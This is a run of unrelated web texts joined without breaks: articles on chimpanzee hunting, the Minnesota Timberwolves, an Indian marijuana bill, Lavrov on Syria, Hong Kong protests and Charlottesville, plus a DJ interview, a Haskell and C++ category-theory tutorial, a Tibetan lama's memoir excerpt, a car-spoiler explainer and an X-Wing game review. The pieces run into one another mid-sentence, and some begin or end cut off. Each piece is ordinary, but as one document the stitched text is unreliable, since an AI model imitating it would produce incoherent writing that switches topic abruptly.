Black-and-white colobus are also in the chimps' firing line.
If they kill 2 monkeys out of a group that only has 10 or 12, that's a big impact
"I've been here a little over a month," says Watts. "The chimpanzees have hunted quite often in that time. They've hunted black-and-white colobus eight times. I've never seen anything like that before."
Black-and-white colobus are relatively uncommon compared to red colobus, and live in smaller groups. So the chimps' decision to hunt them more is bad news for them.
"One group they've targeted at least twice," says Watts. "If they kill 2 monkeys out of a group that only has 10 or 12, that's a big impact."
The good news is, the chimps probably won't wipe out the populations entirely.
"I doubt that it will happen, because as the red colobus becomes scarcer, then it requires more energy to find them," says Watts. It's not worth the chimps' effort to seek out the red colobus, so the population might stabilise – albeit at a much lower level.
It does require a lot of skill to catch the monkeys
A lack of prey might also change the chimpanzees' behaviour.
"One possibility is, if the chimpanzees hunt less often, then young chimpanzees as they grow up get less experienced trying to hunt, and they don't learn to be as good as their predecessors," says Watts. "It does require a lot of skill to catch the monkeys, and it's interesting to see that some chimpanzees are better at doing it than others. They need to learn."
That said, Watts hasn't seen any evidence of this yet. "My subjective impression this summer is they are getting better at hunting black-and-white colobus."
In their tendency to blindly over-hunt their prey, chimpanzees are rather similar to humans. Perhaps that's not too surprising, as they are our closest living relatives.
I don't think chimpanzees are capable of thinking about a long-term future
"People are fond of making claims about similarities between chimpanzees and humans," says Watts. "It's possible to push that too far. But one characteristic we have in common is we over-harvest resources. We're not good conservationists."
That said, Watts says there is also a crucial difference between chimps and humans: we are supposed to be smarter than they are.
"I don't think chimpanzees are capable of thinking about a long-term future," says Watts. If they do switch to a different prey, it's not because they are trying to conserve the red colobus. "They're just responding to what they encounter and what they see."
By contrast, humans understand that we can drive a species to extinction. Unlike the chimps, we really can think about a long-term future. But as Watts puts it, "we are too prone to devalue it and not care about it."There are factual reasons for the long-standing dysfunction of the Minnesota Timberwolves. For example: They hired David Kahn, and drafted Jonny Flynn instead of Steph Curry.
There have been mystical explanations offered as well. Former Timberwolves executives have asked whether Target Center was built on a burial ground, and we will always have the legend of Joey Two-Step, when the street dancer-turned-Timberwolves entertainer got fired and placed a curse on the franchise.
What has been forgotten is the curse of Latrell Sprewell and Sam Cassell.
In 2004, the Timberwolves won their only two playoff series in the history of the franchise. They went to the Western Conference finals. They were good enough to win that series, but Cassell hurt himself during one of his ridiculous dances. The Wolves lost to the Lakers and the following season Cassell and Sprewell cared only about compensation, leading Sprewell to say that a contract worth $21 million wouldn’t allow him to feed his family.
Here is what has happened to the Wolves since Sprewell’s infamous utterance: They fired Flip Saunders, the best head coach in franchise history. They fired Dwane Casey, who may have become the best head coach in franchise history had he been allowed to stay.
They hired Kahn, the worst general manager in the history of professional sports. They passed on Curry and DeMarcus Cousins. They have not had a winning season since.
This has become a franchise desperate not only for competence but for enthusiasm.
This season, for the first time since Sprewell angered whichever gods reign over basketball and common sense, the Timberwolves can sell hope with a straight face. Karl-Anthony Towns, Andrew Wiggins and Zach LaVine give the Wolves perhaps the best young threesome in the league. Towns in particular has played like a budding superstar.
Towns, Wiggins and LaVine also appear to be grounded, coachable youngsters.
Ricky Rubio is finally improving his shooting and is a darling of advanced analytics, which often show his value more than the naked eye. Gorgui Dieng and Shabazz Muhammad have value.
There is hope here, and talent, and likability. Finally, the Timberwolves have something worth selling to the public.
And then Sam Mitchell speaks, and an entire franchise cringes.
Mitchell is the coaching version of curdled milk. He has complained about his plight and his team and even his training staff instead of realizing how lucky he is to get a chance to coach these players.
After the Wolves played poorly on Wednesday night in a loss to the Clippers, Mitchell spoke for about 30 seconds before stomping away after chiding writers for saying nice things about his players.
Grumpiness doesn’t disqualify coaches. Curmudgeons populate halls of fame. Gregg Popovich, Nick Saban, Urban Meyer, Bill Belichick — many coaches delight in their curmudgeonous, but for them it is a tactic, a choice. Mitchell doesn’t look like he’s manipulating the media or playing to the public or executing a strategy. He just seems unhappy.
Last summer, I suggested that Mitchell was worthy of a look as the Wolves’ head coach. I still believe that — he was worth a look. What I didn’t know was that Mitchell would treat the opportunity as if it were a Joey Two-Step curse.
Should Sam Mitchell return next season as Wolves coach? Vote here
There are two reasons for the Wolves to end Mitchell’s tenure. First, his is not the right personality to guide enthusiastic young stars. Second, if the Wolves hired an informed consultant to rank the best coaching options available, Mitchell might not make the top 15.
The Wolves could hire Tom Thibodeau, who might be one of the best coaches in the world. They could hire Luke Walton, who would bring charm and a working knowledge of what makes the Warriors special.
Scott Brooks has close friends in the organization. Spurs assistants Ettore Messina and Becky Hammon, Connecticut coach Kevin Ollie, St. John’s coach Chris Mullin, David Blatt, Cassell himself … there are intriguing candidates from all compass points and demographics.
The Wolves should hire a coach who will appreciate working with three of the best young players in the world, a coach who might want to make those players stick around past their rookie contracts.
Jim Souhan’s podcast can be heard at MalePatternPodcasts.com. OnDharamvir Gandhi, Member of Parliament (MP) from Patiala, is all set to introduce a private member’s bill in the winter session of Parliament, to be held in December, for the legalisation of marijuana in the country, as reported by Indiatimes. Gandhi is a retired cardiologist and a former member of the Aam Aadmi Party.
Gandhi has been vocal about the issue since long and has called for the decriminalisation of marijuana to fight the drug menace Punjab, and the rest of the country. The bill has already been cleared by the legislative branch of the Parliament and will be up for a reading in the Parliament. Gandhi’s bill seeks to distinguish between hard and soft drugs - paving the way for regulation and legalisation of soft drugs like marijuana.
Currently, the Narcotic Drugs and Psychotropic Substances (NDPS) Act of 1985 makes the possession and use of drugs a punishable offence. Gandhi hopes that the act can be amended to allow people cheap, regulated and supervised supply of natural intoxicants, and hence fight the dangerous nexus between politicians and criminals.
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Gandhi should have the support of several MPs for the bill, including Women and Child Development minister Maneka Gandhi and BJD MP Tathagata Satpathy, who have spoken in favour of legalising medicinal marijuana.
Romesh Bhattacharji, former commissioner of Central Bureau of Narcotics, India’s narcotics watchdog, too has spoken in the favour of this move. Even if the bill does not pass, the fact that the issue - which resonates with the nation’s young population - is being recognised, should be acknowledged as a positive step. Notably the Uttarakhand government has already legalised commercial marijuana cultivation in what can be seen as a glimpse of the times to come.
Also watch: Marijuana In IndiaWhy did you choose to hide your identity initially?
The message behind it is something I firmly believe in. The artists I admired growing up, many had faces but some didn’t. Gorillaz, for example — I wasn’t focused on the men behind the music. I think as an artist you have to capture what the music represents.
What is the message behind anonymity?
Back in 2013, dance music was making big headlines and I felt like half the people had ghostwriters, others didn’t know how to perform, and some couldn’t even play music or were tone deaf. I felt everybody was using their face to capitalize off the music, grabbing fans instead of perfecting music. I was confident in delivering the type of music I had, I felt it would be a statement if people didn’t know who I was.
It’s about trying to connect to the music first?
There’s too much information today. You lose the feeling of curiosity, the mystique, and I think that’s important. It is an experience for people to discover music that might become their favorite. If you give them all the information, the experience becomes watered down.
What does anonymity mean to you in today’s world?
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Anonymity was just part of a movement, counter to what was happening when I started. We’re always looking for something different and for ways to identify with our own. 10, 15 years ago, you wore clothes that represented the music you listened to. Or you might have drove certain cars, or went to certain places. Today everyone listens to a lot of stuff but I don’t know if the sub-culture elements are as strong as they used to be. And I think those elements are important for music outside of the pop realm.
I remember as a kid, during high school, I worked at a little indie label and distro house in San Francisco, IDC, during the summers. They had records, they pressed vinyl, and it was the first time I listened to jungle, original rave stuff. It was a mix by AK1200. It was really interesting, what is this stuff? I couldn’t find out anything about it so I had to dig and try to find venues where some of the DJs played. I looked at how people dressed. It was a certain culture they latched on to that I was curious about.
Are you hoping that your music might help something like that to happen again?
That’s the goal. I want people to listen and embrace and take it into their lifestyle, what they wear, the way they talk about music. I think there’s something powerful about that.“What we were shown before and recently by our American partners, as well as by the British and French, does not convince us at all,” Mr. Lavrov said on Monday. “There are no facts, there is simply talk about ‘what we definitely know.’ But when you ask for more detailed evidence, they say that it is all classified, therefore it cannot be shown to us. This means there are not such facts to encourage international cooperation.”
Mr. Lavrov also took a direct jab at Mr. Kerry. “It is very strange to hear, when we recently discussed the issue, my good colleague, U.S. Secretary of State John Kerry, say that the American side had produced irrefutable evidence for Russia of the Assad regime using chemical weapons, and then claiming that Russians deliberately refused to recognize the fact.”
Later, at a news conference in Moscow with the South African foreign minister, Mr. Lavrov said Russia would insist that the United States comply with international agreements and not attack Syria without the consent of the Security Council.
“If someone tries to make gross violations of international law a norm, then we will create chaos,” Mr. Lavrov warned. “We will create a situation where the U.N. Charter and the principles under which all the nations of the world have signed up, including the principle of unanimous agreement of the permanent members of the U.N. Security Council, the so-called right of veto, which the United States insisted on — then all of these principles will simply collapse.”
In a meeting with Mr. Putin ahead of the autumn legislative session, the leaders of the Russian Parliament said that they planned to reach out to their counterparts in the United States Congress to explain their opposition to a military strike against the Assad government and to urge them to reject Mr. Obama’s request.In the previous instalment of Category Theory for Programmers we talked about the category of types and functions. If you’re new to the series, here’s the Table of Contents.
You can get real appreciation for categories by studying a variety of examples. Categories come in all shapes and sizes and often pop up in unexpected places. We’ll start with something really simple.
No Objects
The most trivial category is one with zero objects and, consequently, zero morphisms. It’s a very sad category by itself, but it may be important in the context of other categories, for instance, in the category of all categories (yes, there is one). If you think that an empty set makes sense, then why not an empty category?
Simple Graphs
You can build categories just by connecting objects with arrows. You can imagine starting with any directed graph and making it into a category by simply adding more arrows. First, add an identity arrow at each node. Then, for any two arrows such that the end of one coincides with the beginning of the other (in other words, any two composable arrows), add a new arrow to serve as their composition. Every time you add a new arrow, you have to also consider its composition with any other arrow (except for the identity arrows) and itself. You usually end up with infinitely many arrows, but that’s okay.
Another way of looking at this process is that you’re creating a category, which has an object for every node in the graph, and all possible chains of composable graph edges as morphisms. (You may even consider identity morphisms as special cases of chains of length zero.)
Such a category is called a free category generated by a given graph. It’s an example of a free construction, a process of completing a given structure by extending it with a minimum number of items to satisfy its laws (here, the laws of a category). We’ll see more examples of it in the future.
Orders
And now for something completely different! A category where a morphism is a relation between objects: the relation of being less than or equal. Let’s check if it indeed is a category. Do we have identity morphisms? Every object is less than or equal to itself: check! Do we have composition? If a <= b and b <= c then a <= c: check! Is composition associative? Check! A set with a relation like this is called a preorder, so a preorder is indeed a category.
You can also have a stronger relation, that satisfies an additional condition that, if a <= b and b <= a then a must be the same as b. That’s called a partial order.
Finally, you can impose the condition that any two objects are in a relation with each other, one way or another; and that gives you a linear order or total order.
Let’s characterize these ordered sets as categories. A preorder is a category where there is at most one morphism going from any object a to any object b. Another name for such a category is “thin.” A preorder is a thin category.
A set of morphisms from object a to object b in a category C is called a hom-set and is written as C(a, b) (or, sometimes, Hom C (a, b)). So every hom-set in a preorder is either empty or a singleton. That includes the hom-set C(a, a), the set of morphisms from a to a, which must be a singleton, containing only the identity, in any preorder. You may, however, have cycles in a preorder. Cycles are forbidden in a partial order.
It’s very important to be able to recognize preorders, partial orders, and total orders because of sorting. Sorting algorithms, such as quicksort, bubble sort, merge sort, etc., can only work correctly on total orders. Partial orders can be sorted using topological sort.
Monoid as Set
Monoid is an embarrassingly simple but amazingly powerful concept. It’s the concept behind basic arithmetics: Both addition and multiplication form a monoid. Monoids are ubiquitous in programming. They show up as strings, lists, foldable data structures, futures in concurrent programming, events in functional reactive programming, and so on.
Traditionally, a monoid is defined as a set with a binary operation. All that’s required from this operation is that it’s associative, and that there is one special element that behaves like a unit with respect to it.
For instance, natural numbers with zero form a monoid under addition. Associativity means that:
(a + b) + c = a + (b + c)
(In other words, we can skip parentheses when adding numbers.)
The neutral element is zero, because:
0 + a = a
and
a + 0 = a
The second equation is redundant, because addition is commutative (a + b = b + a), but commutativity is not part of the definition of a monoid. For instance, string concatenation is not commutative and yet it forms a monoid. The neutral element for string concatenation, by the way, is an empty string, which can be attached to either side of a string without changing it.
In Haskell we can define a type class for monoids — a type for which there is a neutral element called mempty and a binary operation called mappend :
class Monoid m where mempty :: m mappend :: m -> m -> m
The type signature for a two-argument function, m->m->m, might look strange at first, but it will make perfect sense after we talk about currying. You may interpret a signature with multiple arrows in two basic ways: as a function of multiple arguments, with the rightmost type being the return type; or as a function of one argument (the leftmost one), returning a function. The latter interpretation may be emphasized by adding parentheses (which are redundant, because the arrow is right-associative), as in: m->(m->m). We’ll come back to this interpretation in a moment.
Notice that, in Haskell, there is no way to express the monoidal properties of mempty and mappend (i.e., the fact that mempty is neutral and that mappend is associative). It’s the responsibility of the programmer to make sure they are satisfied.
Haskell classes are not as intrusive as C++ classes. When you’re defining a new type, you don’t have to specify its class up front. You are free to procrastinate and declare a given type to be an instance of some class much later. As an example, let’s declare String to be a monoid by providing the implementation of mempty and mappend (this is, in fact, done for you in the standard Prelude):
instance Monoid String where mempty = "" mappend = (++)
Here, we have reused the list concatenation operator (++), because a String is just a list of characters.
A word about Haskell syntax: Any infix operator can be turned into a two-argument function by surrounding it with parentheses. Given two strings, you can concatenate them by inserting ++ between them:
"Hello " ++ "world!"
or by passing them as two arguments to the parenthesized (++) :
(++) "Hello " "world!"
Notice that arguments to a function are not separated by commas or surrounded by parentheses. (This is probably the hardest thing to get used to when learning Haskell.)
It’s worth emphasizing that Haskell lets you express equality of functions, as in:
mappend = (++)
Conceptually, this is different than expressing the equality of values produced by functions, as in:
mappend s1 s2 = (++) s1 s2
The former translates into equality of morphisms in the category Hask (or Set, if we ignore bottoms, which is the name for never-ending calculations). Such equations are not only more succinct, but can often be generalized to other categories. The latter is called extensional equality, and states the fact that for any two input strings, the outputs of mappend and (++) are the same. Since the values of arguments are sometimes called points (as in: the value of f at point x), this is called point-wise equality. Function equality without specifying the arguments is described as point-free. (Incidentally, point-free equations often involve composition of functions, which is symbolized by a point, so this might be a little confusing to the beginner.)
The closest one can get to declaring a monoid in C++ would be to use the (proposed) syntax for concepts.
template<class T> T mempty = delete; template<class T> T mappend(T, T) = delete; template<class M> concept bool Monoid = requires (M m) { { mempty<M> } -> M; { mappend(m, m); } -> M; };
The first definition uses a value template (also proposed). A polymorphic value is a family of values — a different value for every type.
The keyword delete means that there is no default value defined: It will have to be specified on a case-by-case basis. Similarly, there is no default for mappend.
The concept Monoid is a predicate (hence the bool type) that tests whether there exist appropriate definitions of mempty and mappend for a given type M.
An instantiation of the Monoid concept can be accomplished by providing appropriate specializations and overloads:
template<> std::string mempty<std::string> = {""}; std::string mappend(std::string s1, std::string s2) { return s1 + s2; }
Monoid as Category
That was the “familiar” definition of the monoid in terms of elements of a set. But as you know, in category theory we try to get away from sets and their elements, and instead talk about objects and morphisms. So let’s change our perspective a bit and think of the application of the binary operator as “moving” or “shifting” things around the set.
For instance, there is the operation of adding 5 to every natural number. It maps 0 to 5, 1 to 6, 2 to 7, and so on. That’s a function defined on the set of natural numbers. That’s good: we have a function and a set. In general, for any number n there is a function of adding n — the “adder” of n.
How do adders compose? The composition of the function that adds 5 with the function that adds 7 is a function that adds 12. So the composition of adders can be made equivalent to the rules of addition. That’s good too: we can replace addition with function composition.
But wait, there’s more: There is also the adder for the neutral element, zero. Adding zero doesn’t move things around, so it’s the identity function in the set of natural numbers.
Instead of giving you the traditional rules of addition, I could as well give you the rules of composing adders, without any loss of information. Notice that the composition of adders is associative, because the composition of functions is associative; and we have the zero adder corresponding to the identity function.
An astute reader might have noticed that the mapping from integers to adders follows from the second interpretation of the type signature of mappend as m->(m->m). It tells us that mappend maps an element of a monoid set to a function acting on that set.
Now I want you to forget that you are dealing with the set of natural numbers and just think of it as a single object, a blob with a bunch of morphisms — the adders. A monoid is a single object category. In fact the name monoid comes from Greek mono, which means single. Every monoid can be described as a single object category with a set of morphisms that follow appropriate rules of composition.
String concatenation is an interesting case, because we have a choice of defining right appenders and left appenders (or prependers, if you will). The composition tables of the two models are a mirror reverse of each other. You can easily convince yourself that appending “bar” after “foo” corresponds to prepending “foo” after prepending “bar”.
You might ask the question whether every categorical monoid — a one-object category — defines a unique set-with-binary-operator monoid. It turns out that we can always extract a set from a single-object category. This set is the set of morphisms — the adders in our example. In other words, we have the hom-set M(m, m) of the single object m in the category M. We can easily define a binary operator in this set: The monoidal product of two set-elements is the element corresponding to the composition of the corresponding morphisms. If you give me two elements of M(m, m) corresponding to f and g, their product will correspond to the composition g∘f. The composition always exists, because the source and the target for these morphisms are the same object. And it’s associative by the rules of category. The identity morphism is the neutral element of this product. So we can always recover a set monoid from a category monoid. For all intents and purposes they are one and the same.
There is just one little nit for mathematicians to pick: morphisms don’t have to form a set. In the world of categories there are things larger than sets. A category in which morphisms between any two objects form a set is called locally small. As promised, I will be mostly ignoring such subtleties, but I thought I should mention them for the record.
A lot of interesting phenomena in category theory have their root in the fact that elements of a hom-set can be seen both as morphisms, which follow the rules of composition, and as points in a set. Here, composition of morphisms in M translates into monoidal product in the set M(m, m).
Acknowledgments
I’d like to thank Andrew Sutton for rewriting my C++ monoid concept code according to his and Bjarne Stroustrup’s latest proposal.
Challenges
Generate a free category from: A graph with one node and no edges A graph with one node and one (directed) edge (hint: this edge can be composed with itself) A graph with two nodes and a single arrow between them A graph with a single node and 26 arrows marked with the letters of the alphabet: a, b, c … z. What kind of order is this? A set of sets with the inclusion relation: A is included in B if every element of A is also an element of B. C++ types with the following subtyping relation: T1 is a subtype of T2 if a pointer to T1 can be passed to a function that expects a pointer to T2 without triggering a compilation error. Considering that Bool is a set of two values True and False, show that it forms two (set-theoretical) monoids with respect to, respectively, operator && (AND) and || (OR). Represent the Bool monoid with the AND operator as a category: List the morphisms and their rules of composition. Represent addition modulo 3 as a monoid category.
Next: A programming example of pure functions that do logging using Kleisli categories.
43.318809 11.330757
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The Carolina Panthers will be down a defensive end as they enter the regular season after Frank Alexander tore his Achilles Saturday night, per Joe Person of the Charlotte Observer.
Continue for updates.
Panthers See Second Major Injury in Less Than a Week
Saturday, Aug. 22
Jonathan Jones added Alexander was in visible anguish after leaving the playing field. Eventually, he was "carted" back to the locker room, per Steve Reed of the Associated Press.
The Panthers later confirmed Alexander would be unable to return to the game.
This comes only a few days after Kelvin Benjamin was ruled out for the rest of the year with a torn ACL, leaving Carolina down two key players before the preseason is even over.
Alexander only appeared in one regular-season game last year after getting suspended a combined 14 games for violations of the NFL's substance-abuse policy.
The Panthers likely penciled in Alexander as their starter at right defensive end this offseason, but now Kony Ealy will see a major uptick in playing time. Although Ealy didn't have a great rookie season, Carolina selected him in the second round of the 2014 draft for a reason. Perhaps he'll flourish with a larger role in 2015.
Alexander is an unrestricted free agent in 2016, and potential suitors won't covet a player who's missed the majority of the last two seasons through injury and suspension.How To Pulverize Any Semblance of Journalism You Never Had:
1. Run out of ideas; film a story on a bunch of vacuous humans who like to go out at night in Adelaide
2. Take note of how well Step 1 went (read: everyone hated it), capitalize on the brief virality and take the Adelaide Party Girls To L.A for no reason whatsoever
3. R.I.P values.
A few weeks ago we shared Today Tonight Adelaide’s nauseating report on the (now infamous) Adelaide Party Girls, much to your collective is-this-real-life delight, and now the girls whose names don’t need remembering have been taken to L.A because Today Tonight doesn’t know what to do with itself anymore. You can watch the horrific 8 minutes below. Note the VO where a reporter asks, “Who better to take on La La Land?”, referring to the Adelaide lasses. Literally anybody else in the entire world, Today Tonight, that’s who. Geez.HONG KONG — Most mornings for weeks, in one of the pro-democracy protest camps here, Wong Yeung-tat has berated, mocked and goaded the government and, increasingly, the student protest leaders and democratic politicians he deems too timid.
“The occupy campaign needs to be taken to a new level,” he said in an interview. “There needs to be escalation, occupation of more areas or maybe government buildings. The campaign at this stage has become too stable.”
Mr. Wong’s confrontational, sometimes profane diatribes lie at the heart of a deepening struggle for the soul of Hong Kong’s protest movement. Having taken to the streets nearly two months ago to oppose election restrictions from Beijing, the protesters have become fractured by exhaustion, distrust and polarization over strategy.
Mr. Wong’s organization, Civic Passion, and a tangle of like-minded groups, Internet collectives and free-floating agitators have grown impatient with the milder path supported by most protesters. They argue that only stronger action, such as new occupations, can force concessions from the Hong Kong government and the Chinese Communist Party.After escaping from a Chinese prison, Tibetan lama Phakyab Rinpoche travels to the United States as a refugee and is treated at New York City’s Bellevue hospital for a severe pain in his ankle that eventually turns to gangrene. In the following excerpt from his book, Meditation Saved My Life, the Tibetan Buddhist teacher recalls his admission to the refugee program and the different ways that he and his doctor view his torturers.
♦
The interview with the psychologist for my admission in the Program for Survivors of Torture will last two hours. I know these two hours will stir up many sufferings—first of all, my present condition as a refugee. I have been greeted with tremendous generosity at Bellevue hospital. But at this point I have lost everything, including my health. The interview will also bring back the shameful denial of humanity that I was subjected to in Chinese jails. Not being human any longer, being reduced to the despicable dregs of society with a dismantled body dismembered by torture, humiliated by degrading treatments—how can I express all of this to human beings whose physical and moral integrity has never been trampled? It will feel as if I am attacking their intact humanity by displaying my own violated humanity.
I have never told anyone about my experience in prison, neither people close to me nor my masters. When I met the Dalai Lama after my escape, I did not need to describe to him my tortures. He knows only too well what goes on in the prisons of the Roof of the World. Without asking me any questions, he hugged me silently. Then he simply said: “Three months of prison and torture! It’s a terrible ordeal! But for others, it lasts 10 years, 20 years! It kills some!”
Related: Voices from Inside the Rohingya Refugee Camps
I understood then how important it is to put our sufferings into perspective, to not lock oneself in a painful past that indefinitely extends the ordeal. When that happens, we become our own torturer.
On June 17, 2003, in the office of the Program for Survivors of Torture, I am greeted by the psychologist, a smiling young woman with the blue eyes of a doll. Her manners are demonstrative and her kindness is conventional—both features of social relations in the United States of America. I have not yet gotten used to this in the weeks that have gone by, and I must seem very coarse to some of the people I speak with. Indeed, my culture is not very exuberant.
Although I can see this young woman intends to be genuinely benevolent and open to my story, a misunderstanding quickly arises between us as soon as I mention my detention and tortures. I will soon realize that Westerners easily indulge in victimization. This explains their amazement, and their total lack of understanding, when I joke about the ill treatments I suffered in prison.
In her eventual report, the Bellevue psychologist will state: “Mr. Dorje’s affect was stable, however, it seemed inappropriate at times. For example, he was smiling, animated, and even laughed as he described his torture in detail and his survival.”
She would have better understood my feelings had I acted like a punching bag and expressed myself with the tearful language of complaint. Then she would have sympathized and undoubtedly shared my wailing, my indignation, my anger, and my hatred toward my torturers. During our interview, I got the impression that she was driving me into a corner and wanting me to accuse my tormentors. That was when I burst out laughing.
How can I take on a hatred I do not feel?
In fact, on that day, even if I was only a penniless refugee and a sick man with a gangrenous leg, I was not the victim. The victims were my jailers. I had left prison, but what about them? They were locked up in a vicious spiral that would hound them during this life and for many lives yet to come!
The psychologist did not understand that I laughed at the absurdity of hating those who had shown such hatred toward me. During my incarceration, I was often dumbfounded at the idea that people who did not know me, and whom I had never been harmful to, could relentlessly torture me. And I have meditated at length on karmic causality. What was happening to me was only the result, the consequence, of a negative spirit and negative thoughts that in previous lives had led me to injure and cause pain to other beings, both human and nonhuman. My torturers were not my enemies. The real enemy is not outside of us. It is to be confronted within us. It takes the shape of selfishness, attachment, self-cherishing. I was therefore laughing at how absurd hatred, thirst for revenge, and anger are. By laughing, I was hoping to relax the psychologist. But I only managed to make her tense.
Sometimes when I think of the bad karma built up by the People’s Armed Police officers who tortured me, I feel tremendous compassion for them. Moved to tears, I pray for them more than for anyone else. And I have completely forgiven them. It is only thanks to my forgiveness that one day, as soon as possible, I hope, they may free themselves from their infernal karma.
Related: The Enemy Within
In appearance they were the torturers and I the victim. But in reality, we were all victims. I was their physical punching bag, and they were the victims of their own uncontrollable, destructive emotions. The actions they committed to ensure the meager sustenance of their families could lead them to the terrible torments of being reborn as hungry ghosts, hot or cold hellish beings, or animals... How can I know? I dedicate to them the positive energy of my praiseworthy actions so that they may find peace of |
moderately reliable. (Fluid dynamics are hard.) The proof is in the pudding. Here's a wind tunnel smoke trace over a well-designed spoiler on a Porsche:
You can see how the airflow is cleanly redirected from a downward direction (which generates undesirable lift) to a horizontal direction (no lift). Very little airflow goes under the spoiler. It doesn't need to be shaped like a wing or deflect a lot of air. It just creates a little bit of a stagnant air pocket to deflect the main bulk of airflow.
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Now compare to a typical sedan tail end:
See how the airflow expands and flows downwards as it exits the rear of the vehicle? This is producing lift as well as some extra drag. (The smoke expands as it slows down.) The faster the car goes, the more the rear end will try to lift off the ground. A good spoiler (or wing) reduces that up-lift.
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To summarize:
Both wings and spoilers reduce up-lift at the tail of the vehicle, but use different mechanisms.
Wings are airfoils designed to directly deflect air upwards and thus push the rear of the vehicle down. They generally add quite a bit of drag.
Spoilers are barricades to undesirable flows, and thus are able to reshape airflow streams around the vehicle. This can help keep the rear of the vehicle down and decrease drag by changing the effective vehicle shape.
decrease drag by changing the effective vehicle shape. You need computational fluid dynamics and/or wind tunnel testing to quantify spoiler/wing performance.
Neither have any positive impact whatsoever on straight-line low-speed acceleration. Both are primarily intended to improve stability and cornering at high speeds.
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Got it? Good. I'm tired of the internet being so consistently wrong about this.
All images via Google Image Search.
____________________
Reposted by permission from Ryan Carlyle on Quora.
Original post can be found here.With the new Knowledge of these babies being released in March now and Fantasy Flight’s preview already out, I figure now is a good time to talk about this lovely little ship.
New Spikey Bits’ Writer Super Kaiju wrote this sweet article on the famous ship for us today.
I was lucky enough to get my hands on one in a game of Sacbac with some smuggler looking dude in a cantina in some outer rim planet, aka the Kessel Run at my LGS, FTW Games (the home of Spikey Bits).
So, lets take a look at this powerful and possibly the most popular ship in Star Wars.
First thing you’ll notice when you grab this model is its huge. It dwarfs the other models with ease and because of this its is own ship type, known as Large Ships, which come with their own special rules. Which are pretty short actually, First off when hit with an Ion Cannon, you’re too big to be effected at first.
Bigger ships would require two hits before they would be effected, so that’s pretty nice huh? Other then that it follows the same overlapping rules as anything else, and in the end it’s just a much bigger ship. This also gives you a bigger range, but puts you in range of enemy ships easier too. However it does get some new card upgrades known as Co-pilots and Ship Upgrades.
The Falcon comes with four different pilot cards, a pilot skill 9 Han Solo, a skill 7 Lando Calrissian, a skill 5 Chewbacca and skill 1 Outer Rim Smuggler. Each pilot has their fun little abilities as pictured below.
The new bigger ships come with the new card type Co-pilots which give some very fun abilities to make a strong ship stronger. You’ll find four in this set, consisting of a Weapons Engineer, Luke Skywalker, Nien Nunb, and Chewbacca. Each have some powerful abilities and can change the way you’ll be playing the ship.
Another new card type are the Ship Upgrades which are extremely powerful and awesome in my honest opinion. Each can be placed upon any ship, ANY SHIP in the game! But only one per ship, so no building your big shinies.
Two types find themselves in the Falcon, a Engine Upgrade, which gives you the brand spanking new Boost Action. And Shield Upgrade, which gives you a permanent shield, which in itself is nice, but just couple that with R2-D2 and oh yess!
And to round it up you get some new Experience Pilot cards and a few new Missiles as well. All in all I’d say its worth the buy for all the goodies you get alone.
Now my thoughts on the ship. Frankly, I love it. I find it extremely powerful and to be honest with you as it stands anyone with it using it has a nice advantage over other players. I’ve heard cries from the mountain tops that this ship actually sucks, but I’ll have to disagree with them and just say they’re doing it wrong.
Least, that’s how it sounds to me. Many people think its a tank, but while it can in fact take a ton of damage, it isn’t a real good tank. With One agility it isn’t going to dodge much sustained fire, but in it’s defense with a One point upgrade to turn the ship into the actual Millennium Falcon (its normally just a YT-1300) you can get it an Evade action on your action bar.
My suggestions to play it is to take it slow first few rounds barely going forward. Unload some missiles on some peps and when they get all nice and close, ZOOM RIGHT PAST THEM AND FIRE AT THEIR REAR!
Now zoom past I mean just go past, no U-ies here. This baby has a extremely powerful weapon on it. You know those lovely Ion turrets you can get on Y-wings and that super awesome 360 degree of fire? Yea, Falcons got that. And without the downfall of ‘only 1 damage!’ So you can easily keep this ship in the enemy blind spots and blast at them without fear of retribution.
Pilots though I’ll admit are a little lack luster in their abilities. Also they tend to have a extremely high cost to them, so break out your piggy banks of points to get them on your teams.
Han doesn’t seem all that worth it. His reroll when attacking is nice, but you have to reroll every single die, so it can screw you over perhaps. Maybe if they had it so it would be reroll all dice for whatever you had to roll dice for, but I’ll admit that does come off as a bit broken.
Also his very high point cost at 46 points means you wont have to much room to bring much else. Lando seems a bit better but given the size of the ship, its a tiny bit hard to keep him in any formation without some mistakes happening.
Chewbacca in my opinion is the best pilot for the falcon out of the named bunch just for his ability to negate all crits. With him the Falcon really does become a tank, requiring you to go through every single hull point. Finally, the smuggler is kinda weak. His stats compared to the others are all lower for the most part. One less attack, hull point and shield seems bad, BUT, the fact he’s only 27 points is pretty good.
The co-pilots are extremely nice. My suggestion is taking Nien Nunb to make all straight forward maneuvers green so you can stress out the Falcon and then easily fix it without having to slow down much. Weapons Engineer is great for doing a bombardment real quick, or some cheeky fun later. Chewbacca again is real nice, preventing one crit and Luke. Luke…I’m still not sure how he works. The wording is a little confusing to me so I don’t know if it means if I use him I stop all other attacks, or something else that’s kind of lost to me. Either or, 7 points for him will make your ship slightly expensive.
My suggestions to run this baby though is in normal point games to take the smuggler with Nien Nunb. 28 points for a 360 firing ship that can make any forward maneuver with ease. Not too bad. Add a Shield Upgrade for 4 points to make it a bit more survivable as well as the other 1 point upgrade to make the Falcon and you have a not to bad ship. Higher Points change it up to Chewbacca and throw on a Weapons Engineer and some Assault Missiles (new with this set!). 56 points, but that’s 56 points of POWA!
I would say for the price you get the bang for your buck and the Millennium Falcon will be a great addition to your Fleet.
Welcome to X-Wing. Enjoy your stay. Be sure to checkout our sweet video intro for the X-Wing starter set box and game below, and our other Star Wars Tactics Articles. -MBG
Spikey Bits LatestThe Charlottesville City Council has announced the creation of an internal task force to prevent rallies, like the one on Saturday carried out by torch-wielding white nationalists, from ever happening again.
In response to the rally on Saturday, which was led by alt-right leader Richard Spencer, the council has asked the city manager's office to build a task force that will be responsible for creating a plan to prevent future re-occurrences.
In a statement, the city says the task force will continue to develop proactive strategies regarding the law, policing, regulations, communications, intelligence-gathering, and community outreach to vulnerable populations regarding white nationalist events in Charlottesville.
The task force will guide the city government actions through the Office of the City Manager.
"Charlottesville is one of the world's great cities. Our progressive and welcoming policies and our belief in telling the truth about race in our history are all key to our success," said Mayor Mike Signer. "The so-called 'alt-right' believes intimidation and intolerance will stop us from our work. They could not be more wrong. We must marshal all our resources, legal and otherwise, to protect our public and support our values of inclusion and diversity in the future."
